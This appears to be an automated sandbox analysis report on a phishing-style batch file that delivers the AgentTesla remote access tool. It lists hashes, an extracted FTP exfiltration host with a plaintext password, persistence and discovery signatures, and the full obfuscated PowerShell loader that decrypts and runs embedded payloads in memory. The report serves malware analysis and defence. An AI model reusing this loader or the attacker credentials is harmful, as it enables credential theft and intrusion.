Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
30/04/2026, 14:52
Static task
static1
Behavioral task
behavioral1
Sample
Quotation. RFQ # 28042026.bat
Resource
win10v2004-20260130-en
General
- Target Quotation. RFQ # 28042026.bat
- Size 146KB
- Sample260430-r81cssay8p
- SHA256 59830d1c568bd43c1c582b36981bc0ef423116c144c33fad51e1e66bb0cb368a
- MD5 23d84b0d6338ae1ec16898dea6192aff
- SHA1 2ca5c96e8264b8731b632cc0c2d84d2a2fa442b4
- SHA512 17ab95c016e37e878460eae4aeb9ec121da4d5e42044d5b4ca86e86be5c5ebe39bc6578c2efcb1ee5958d69f1f459f88026ad907a0e2ff27b2bbac68e26e1ee6
- SSDEEP 3072:PR06F5mK1BzwpG8gj50/Pu7axWZgOiqez3VYCtK0Mfy:NUK1NwM8g50C5Flez37x
- TLSH T144E3022771D9845E04F04D05A7297A2EBB59CAEB5389F3C9128ED1ED000CD2FD6A7BC9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.duct-master.com
-
Port
21
-
Username
-
Password
WL9ow,~&t(NJJf-)nn
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 2032 powershell.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinServiceHost.lnk powershell.exe -
pid Process 2032 powershell.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2032 powershell.exe 2032 powershell.exe 2032 powershell.exe 2032 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2032 powershell.exe Token: 35 2032 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4036 wrote to memory of 2032 4036 cmd.exe 80
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation. RFQ # 28042026.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function oyKSs($NwDBw){ $wrnVc=New-Object System.IO.MemoryStream(,$NwDBw); $tgWxf=New-Object System.IO.MemoryStream; $CPtFz=New-Object System.IO.Compression.GZipStream($wrnVc, [IO.Compression.CompressionMode]::Decompress); $CPtFz.CopyTo($tgWxf); $CPtFz.Dispose(); $wrnVc.Dispose(); $tgWxf.Dispose(); $tgWxf.ToArray();}function etIWk($NwDBw){ $ljxAe=[System.Security.Cryptography.Aes]::Create(); $ljxAe.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ljxAe.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ljxAe.Key=[System.Convert]::FromBase64String('OBWLT5q+ohpzlHi4YcovzWy22cnO7X1hgQGhLedKP2c='); $ljxAe.IV=[System.Convert]::FromBase64String('4BEyJ/XL1SO4mXxBRtyNSA=='); $BSGWh=$ljxAe.CreateDecryptor(); $vuCpj=$BSGWh.TransformFinalBlock($NwDBw, 0, $NwDBw.Length); $BSGWh.Dispose(); $ljxAe.Dispose(); $vuCpj;}function mZoxr($NwDBw,$niRhV){ $WzjXj=[System.Reflection.Assembly]::Load([byte[]]$NwDBw); $mKFkW=$WzjXj.EntryPoint; $mKFkW.Invoke($null, $niRhV);}$zenRC = 'C:\Users\Admin\AppData\Local\Temp\Quotation. RFQ # 28042026.bat';$host.UI.RawUI.WindowTitle = $zenRC;$sWGot=[System.IO.File]::ReadAllText($zenRC).Split([Environment]::NewLine);foreach ($rXPpA in $sWGot) { if ($rXPpA.StartsWith('vcceSlNTlRxVkBQvgNEZ')) { $nHaZl=$rXPpA.Substring(20); break; }}$agXlZ=[string[]]$nHaZl.Split('\');$Zhhqn=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[0].Replace('#', '/').Replace('@', 'A'))));$RUSGy=oyKSs (etIWk ([Convert]::FromBase64String($agXlZ[1].Replace('#', '/').Replace('@', 'A'))));mZoxr $Zhhqn $null;mZoxr $RUSGy (,[string[]] (''));"2⤵
- Badlisted process makes network request
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jx2ukbdt.a0r.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH